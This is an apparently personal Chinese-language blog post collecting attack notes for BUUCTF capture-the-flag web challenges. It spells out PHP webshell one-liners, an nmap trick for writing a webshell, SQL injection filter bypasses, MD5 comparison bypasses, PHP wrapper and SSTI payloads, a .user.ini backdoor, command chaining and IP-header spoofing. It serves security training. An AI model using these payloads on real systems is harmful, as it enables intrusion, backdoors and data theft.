BUUCTF攻击知识补充

目录:


 第一部分

第二部分

第三部分

 


 

 第一部分

1、若是网页显示只允许内网连接(或是只有自己能看到等类似说法),则可以尝试抓包,然后在HTTP的头部添加,因为它可能是检查X-Real-IP字段或是X-Forwarded-For字段

X-Real-IP:127.0.0.1 或是 localhost
X-Forwarded-For:127.0.0.1 或是 localhost
注意:若是包头中有referer字段,则可能要将该字段删除,才有效

X-Forwarded-For确实是一般的做法
1. 他在正向(如squid)反向(如nginx)代理中都是标准用法,而正向代理中是没有x-real-ip相关的标准的,也就是说,如果用户访问你的 nginx反向代理之前,还经过了一层正向代理,你即使在nginx中配置了x-real-ip,取到的也只是正向代理的IP而不是客户端真实IP
2. 大部分nginx反向代理配置文章中都没有推荐加上x-real-ip ,而只有x-forwarded-for,因此更通用的做法自然是取x-forwarded-for
3. 多级代理很少见,只有一级代理的情况下二者是等效的
4. 如果有多级代理,x-forwarded-for效果是大于x-real-ip的,可以记录完整的代理链路

(一般 X-Forwarded-For 用的多) 

参考:

https://blog.csdn.net/m0_47404181/article/details/107143156
https://cn.bing.com/search?q=X-Forwarded-for%E5%92%8CX-Real-IP&form=ANNTH1&refig=4bc61d55d37f4283a1cb9e55105dde2e

 

2 、若是类似于以下这种,在我们输入的命令执行前,它会先执行whois,(我们输入命令整体来看就会变成 whois ls / ; 假如我们输入的命令为 ls /)

(见LFI Labs的CMD 3和 CMD 4关)

若是想要前面的 whois 失效或是将其无视掉,执行后面的 ls / ;则可以:

1 cmd1|cmd2  :不论cmd1是否为真,cmd2都会被执行; (故cmd1随便写什么都可以)
2 cmd1;cmd2  :不论cmd1是否为真,cmd2都会被执行;
3 cmd1||cmd2 :如果cmd1为假,则执行cmd2;
4 cmd1&&cmd2 :如果cmd1为真,则执行cmd2;

 

3、在我们攻击靶机时

   1)若是得到目标的账号和密码,可以测试能不能进行SSH连接 (ssh 账号@IP  回车后输入密码)

   2)若是我们收集到网站的主体框架信息(例如:属于那种网站框架、那个版本等),那可以尝试在网上或gethub上查找对应框架的漏洞shell或poc(漏洞存在的验证代码)等,对其进行攻击

参考:BUUCTF-AWD-Test1 和 https://blog.csdn.net/m0_62008601/article/details/126134329

 

4、

 

5、上传的一句话木马,既可以用蚁剑或是菜刀连接,也可以直接传参使用

eg:  http://c7b18087-3c57-422d-bc11-b47d676f5bed.node4.buuoj.cn:81/template/upload/shell.php?cmd=phpinfo();

 

6、Githack: 

当前大量开发人员使用git进行版本控制,对站点自动部署。 如果配置不当,可能会将.git文件夹(该文件夹中可能含有该网站的全部源文件)直接部署到线上环境。
这就引起了git泄露漏洞。

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

 使用方法:cd到Githack文件夹下 python Githack-master.py URL/.git/  

 

7、

看题目时(收集信息),一定要仔细!!!!!!!!!!!
找不到思路或尝试多次无效时,仔细观察前端代码或是页面中的提示信息,或许其中会藏有提示信息!!!!!!!!!

若是前端代码也没有然后有价值的东西时,尝试看看相应的状态值(在检查 -- 网络)

还可以抓包,参考http请求或响应中是否有有价值的信息!!

 

8、302隐性状态(若是遇到 300~399的状态时,应该着重关注一下)

  通过查询http响应状态码302的信息,知道了这个叫做隐性重定向,也叫做临时重定向,302重定向表示原来的action.php页面还是存在的,只是临时的重定向到了另外一个页面,也就类似于一些网站的公告,点进去主页跳到一个广告页面几秒钟后再返回到刚刚的主页,这样的重定向客户端是可以阻止的,方法有很多,比如burpsuite、curl等工具,笔者觉得burpsuite大材小用,直接用curl就好,关于curl工具的用法可以看curl命令用法,curl命令访问http默认关闭重定向,如果要url支持重定向加上-L参数

 

9、curl 可以直接下载网页源码,且它默认关闭重定向,即下载的网页是原网页,而不是重定向后的网页

  eg:curl http://bbabae18-2f88-4fc2-911c-b2ffc16058ce.node4.buuoj.cn:81/action.php

 

10、

sql注入时; # 、%23 、 --+ 都可以注释掉不需要的sql语句,但服务端可能会对其进行过滤,因此当不成功时,建议将则几种都试一下

  一般情况:输入框和HTTP请求中的时候用#,在地址栏的时候使用%23 或 #(可能会被过滤),HackBar用 --+ ;但若是不成功则几种都尝试一下,还是不成功就另寻它法!!!

 

11、在上传php木马时,若是遇到对 <? 的过滤,则可以考虑用HTML标记php的形式写代码:

<script language="pHp">eval($_REQUEST['cmd']);</script>
等价于:
<?php @eval($_REQUEST[cmd])?>

 若是它过滤 php字符:

在特定情况下可以用 <?= 代码 ?> 代替 <?php 代码 ?>

若是遇到,可以试试这种方法

 

参考实验:

https://www.bilibili.com/read/cv18809872

 

12、

PHP中,private 声明的字段在序列化时,需要注意:
1)private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。
2)因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0(即%00,即空字符null;其ASCLL为0)的前缀。字符串长度也包括所加前缀的长度
   eg: 若username和password是public属性:  

O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}

          若username和password是private私有属性:(%00算一个字符)

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";1:100;}

 3)protect属性的变量在反序列化时,要在变量前面加 %00*%00 (%00算一个字符)

O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}

有时可以用public属性代替,即写为public属性的形式(若是对public和protect属性区分不严格的话)

4)若是值得部分为空,则直接将值的部分写为 N;(见上)

 https://mp.weixin.qq.com/s?src=11&timestamp=1665317625&ver=4094&signature=C0mvO4A74x4DjwJ5W6siVOo9yZCbhYaLW1FPQPU2-h9QJD4GM7qhW0XN8YlhEET1Lpf-rwNekSSio42jECehQGk2uSTK8DP2-OcMBIQSbbKp9tdLK5yPynpAB32At0CY&new=1

返回目录

 

 

第二部分:

1、

常见网站源码备份文件后缀:
.tat / .tar.gz / .zip / .rar
文件的网站源码备份文件名:
web / website / backup / back / www / wwwroot / temp

 

2、PHP中

unserialize() 会检查是否存在一个魔术方法 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,
但是当成员属性数目大于实际数目时可绕过魔术方法 __wakeup 方法(CVE-2016-7124)

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";1:100;}

绕过:

O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";1:100;}

__destruct魔术方法在对象销毁时执行,__construct()魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()方法

https://www.cnblogs.com/Mrsm1th/p/6835592.html

 

3、PHP命令注入补充:

  print不能输直接出数组,print_r 可以直接输出数组

  eval()、assert() 等函数不能直接执行 cmd命令,也不能嵌套system()使用??

  但是php中 scandir() 可以起到类似 ls 的作用

eg: scandir(/)  <==> ls /

复制代码
可以使用 print_rscandir(目录))形式输出
可以属于 print_r(file_get_content(文件)) 输出文件
file_get_content(文件) <==> cat 文件
整体来看是这样:
eval(print_r(scandir(目录)))

eg:(结合特定漏洞)
http://node4.buuoj.cn:28562/calc.php?%20num=print(scandir(chr(47)));
http://node4.buuoj.cn:28562/calc.php?%20num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
复制代码

 

(但是我在另一个实验中遇到,eval()嵌套system()使用的情况,但在将system()当做参数传入eval中时,要加;

eg:?cmd=system('ls /'); 

故遇到时,就都试一下吧)

 

4、chr(对应字符的ASCLL码)  <==>  对应字符

eg: chr(47) <==> /         chr(97) <==> a

 ord() 函数可以将字符转换为ASCLL ;chr()则相反

eg:  ord(/) = 47   (在python中尝试成功!其他语言中是否有效,请自行尝试)

 

5、php中

数字和字符串进行比较时,当这个字符串是一个无法转换为数字的字符串,它就会被强制转化为数字,结果总是为0
1.当字符串中 以 数字开头 +字符串+数字或字符(字符串)+... 格式与数字进行 == 判断时,
会取第一次出现字符(字符串)前的数字作为转换值。
eg:45sd5415fr5 ==> 45
2.当字符串中 以 字符(字符串)开头 +数字+数字或字符(字符串)+... 格式与数字进行 == 判断时,
不能转换为数字,被强制转换为0 。
eg: asd548fdf4 ==> 0
原文链接:https://blog.csdn.net/Auuuuuuuu/article/details/79621635

 

6、若是遇到对数字的长度有要求,但有必须输入超出长度的数字时,可以考虑考虑用科学计数法

100000000 = 1e9      

也可以考虑其他方法,如:数组等

 

7、若是在链接中看到 类似?msg=Error ,然后,页面的回显中有值的内容,类似这种的,可以考虑一下模块注入

尝试一下error?msg={{1*2(或是其他内容)}},看页面中是否会回显 结果 ,若回显则存在模块注入,可以利用它进行一些操作

例如:在 tornado类型的网站中,?msg={{handler.settings}} 可以得到 cookie_secret

建议看一下:https://www.cnblogs.com/junlebao/p/13819357.html

 

8、若是在sql注入时遇到:我们传入的值会被先进行md5编码之后,才带入查询的情况;类似:

select * from 'admin' where password=md5($pass,true)

可以使用ffifdyop绕过,因为 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,
这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会把 hex 转成 ascii 解释,
因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’ 等价于一个永真式万能密码,从而绕过md5函数

参考自: 

https://www.cnblogs.com/knsec-cnblogs/p/16582243.html

 

9、php中的比较及md5值的比较

1)当比较 0 与 0e 开头的字符串的时候,弱类型比较下会将 '0e' 看作科学计数法,0*10**...最终结果还是 0,所以弱类型比较都是true。
2)常见的md5弱类型有(只要md5后以0e开头,就被认为相等),

复制代码
s878926199a
0e545993274517709034328855841020
 
s155964671a
0e342768416822451524974117254469
 
s214587387a
0e848240448830537924465865611904
 
s878926199a
0e545993274517709034328855841020
 
s1091221200a
0e940624217856561557816327384675
复制代码

3)在php中 == 和 === 都是用来比较是否相等的,区别在于,== 的比较是弱类型的,开头包含数字的字符串会被转换为数值并且比较按照数值比较,不会比较字符串的数据类型,而 === 是要完全相等(先比较数据类型是否相同,再比较字符串)。

4)对字符串进行 md5 加密的时候,对于数组类型的数据是不会进行加密的,其返回结果是NULL,所以也可以进行绕过而且可以绕过md5的强类型比较。

http://83c43303-e5df-42fc-b704-14541df66c0d.node4.buuoj.cn:81/?gg[]=1&id[]=2
原本的参数是gg和id

若是数组失效,试试下面这个

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

5)解决 md5 强类型比较的问题,再看 !== 的问题,在 != 和 !== 的区别就在于,!== 的返回值只有 false,!= 返回值有0和false

注意:md5加密后可以看做是两个字符串比较,不能用数字和字符串比较的方法

参考链接:

https://www.cnblogs.com/knsec-cnblogs/p/16582243.html

MD5&sha1绕过_sha1转md5-CSDN博客

 

 

10、当在url中传参时,若是直接传参总是失败,可以试试使用伪协议传参

比如 ?text='sdffdbd',发现text的值传不进去
1)、使用data伪协议

复制代码
data://data:数据类型;base64,经过编码后的值(内容
或是 data:数据类型;base64,经过编码后的值(内容data:数据类型,值(内容) (若是直接传值不行,可以试试前面经过base64编码的方式)
eg:
?text=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
?text=data:text/plain;<?php phpinfo();?>

?text=data:text/plain,I have a dream
值部分不用""或''来包括
(数据类型和值或是base64之间是用 ; 还是 , 请自行尝试)
复制代码

2)、php://input[POST DATA:] 然后在正文中写数据


11、当页面中出现,一个新的文件,而当我们访问时,页面存在,但却是空白页面,

这时可以试试能不能用php伪协议读取该文件内容:
php://filter/read=convert.base64-encode/resource=文件名

上述10/11点建议结合以下具体攻击场景理解:

https://www.cnblogs.com/WeQi-Blog/p/15415422.html

 

12、在文件上传时,它有可能先检查后缀名,通过之后在检测Content-type字段;

但是,他可能会这样设计:后缀名过滤掉部分(及这部分后缀名不能通过),但是Content-type字段只允许指定的类型通过,这样的话,即使后缀名通过了,MIME检测也通不过;只有疯狂尝试

如:在后缀名禁止掉 png/php/php2/ph3等,允许jpg/.htaccess等,但是Content-type只允许image/jpeg(jpg图片的类型)通过;

     此时,若是因为先上传的是png图片,失败后,很可能会潜意识的认为jpg文件也不行,进而找不到思路。

     因此,在上传png图片失败时,不妨jpg等其它图片试试,反之亦然

 返回目录

 

第三部分

1、SQL注入补充

and被彻底过滤或加入黑名单:

1)尝试用 && 代替

2)尝试用 %26%26 (&&的URL编码)代替

=被彻底过滤或加入黑名单

1)使用 like 代替

2)rlike (和like用法一样)

3)regexp(和like用法一样)

空格被彻底过滤或加入黑名单

1)使用 /**/代替

2)使用/!**/代替

3)使用<>代替

4)使用()代替

  eg:         

select database()  <==>  select(database())
select group_concat(table_name) from information_schema.tables where table_schema like database() <===> select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())

^绕过and和空格

?uasename=kl'^updatexml(1,concat(0x5e,(select(database())),0x5e),1)  <==> ?uasename=kl' and updatexml(1,concat(0x5e,(select(database())),0x5e),1)
^难道可以代替 and (and 空格)  ????

sql中的^是异或判断当两边相同的时候,输出值为0,如1^1=0,1^0=1
大概在这里应用就是假^假 =假 ,真^真=假,假^真=真,真^假=真

输出不全

若是 substr/substring/mid 都被彻底过滤或加入黑名单,尝试使用 left("字符串",参数) right("字符串",参数)
前者表示从左边开始截取,到指定的位置停止,最大返回30个字符(从左开始输出指定个数的字符)
后者表示从右边开始截取,到指定的位置停止,最多返回30个字符(从右开始输出指定个数的字符)
若是一次输不全,就和这两个函数使用,left的参数和right的参数一致时,注意重复的字符!!
concat最大能返回30个字符

?username=gf'^updatexml(1,(concat(0x5e,((select(left(password,30))from(H4rDsq1))),0x5e)),1)%23
&password=45
?username=gf'^updatexml(1,right(concat(0x5e,(select(group_concat(username,':',password))from(H4rDsq1)),0x5e),32),1)%23
&password=45
然后将其拼接起来,注意可能有重复的部分

参考:

SQL注入过滤的绕过 - 腾讯云开发者社区-腾讯云 (tencent.com)

 

 

 2、

提交数据时,要注意提交的方式,是 get 还是 post ,又或是其它方式

 

3、当.htaccess失效时,可以尝试利用.user.ini上传隐藏后门

条件:
1、服务器脚本语言为PHP
2、服务器使用CGI/FastCGI模式
3、上传目录下要有可执行的php文件

.user.ini 的内容:

auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //解析后进行包含

优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

对于 .user.ini 文件的连接,只需要到 .user.ini和木马所在的文件夹
而.htaccess则是要到对应木马文件

参考:

https://www.cnblogs.com/20175211lyz/p/11455355.html

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

 

 

4、sqli(即SQL注入)的联合注入有以下特性

在使用联合注入时,如果你查询的数据不存在,那么就会生成一个内容为null的虚拟数据,
也就是说在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
所以这时我们就可以在注入时添加我们需要的信息来完成我们的目的。

即,例如当我们查询的password不存在时,我们可以在密码所在的字段添加我们编造的密码,
然后再把密码变量赋值为我们编造的那个密码
例如:(admin用户名存在,第三个字段为密码字段,pw为表示密码的那个变量)

name=sa' union select 1,'admin','123456'--+&pw=123456
它是在所有情况下都存在这种特性吗?????

 

 

5、在密码变量的后面加上[],会得到密码在数据库中储存时的编码方法

eg:

name=sa' union select 1,'admin',3--+&pw[]=sd 

但是它是只有在特定情况下有效?还是在其他情况下也有效???

 

 

6、base32与base64编码的特点

1、base32 只有大写字母和数字数字组成,或者后面有三个等号。
2、base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。

 4/5/6参考:

https://www.cnblogs.com/WeQi-Blog/p/15430707.html

 

7、SQL注入时,我们可能会遇到如下情况:

   我们通过select 或是 order by 测试出有几个字段;但是它不会返回信息在页面中,我们不知道测出来的这几个字段代表什么?

  此时,我们需要将具体内容带入具体字段中,观察页面的变化,判断它所代表的内容

例如:我们测试出当前查询的表有三个字段(例如其中有username和password字段),但是页面中不会回显出哪个字段代表什么

name=sa' union select 1,2,3--+&pw=ds

此时,我们需要将具体内容带入字段中查询,随便编一个账户名 (为了方便讲解,假设该用户存在,若是不存在则会很麻烦): yiya

name=sa' union select 'yiya',2,3--+&pw=ds

然后观察,页面信息,进行判断;(假设,页面提示用户名错误)

name=sa' union select 1,'yiya',3--+&pw=ds

假设,此时,页面显示密码错误,则我们可以推断出,第2个字段表示用户名,且我们测试的用户存在,第3个字段表示密码

案例参考:

[GXYCTF2019]BabySQli-1 - upfine - 博客园 (cnblogs.com)

 

 

8、java编写的网站的一些注意文件

WEB-INF:

复制代码
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
eg:我们要找的文件在 /com/wm/ctf/FlagController(先用 /WEB-INF/web.xml 找到文件所在)
则构造 WEB-INF/classes/com/wm/ctf/FlagController.class用任意文件读取漏洞读取该文件
复制代码

参考:

https://www.cnblogs.com/WeQi-Blog/p/15485304.html

https://www.cnblogs.com/gtx690/p/13257713.html

 

9、

当我们输入的内容会原样回显到页面中时,若没有其他思路,可以考虑一下是否存在SSTL模块注入

SSTL模块注入也可能可以执行OS命令或php命令

参考这个实验:

https://www.cnblogs.com/LoYoHo00/articles/15459969.html

 

10、nmap中的-oG可以实现将命令和结果写到文件

eg:
内容 -oG 文件名
nmap <?php @eval($_POST["cmd"]);?> -oG yjh.php

建议结合这个实验理解:

https://www.bilibili.com/read/cv18151732

 

 返回目录

WAF绕过:

   若是设置了WAF,那么可以在WAF设置,访问网站时,阻止对某些文件或页面的访问;但是绕过这些规则

1、可以使用空格绕过(在?和参数之间)

eg: http://node4.buuoj.cn:28562/calc.php?%20num=phpinfo();

 

posted @   咿呀鲸落  阅读(488)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示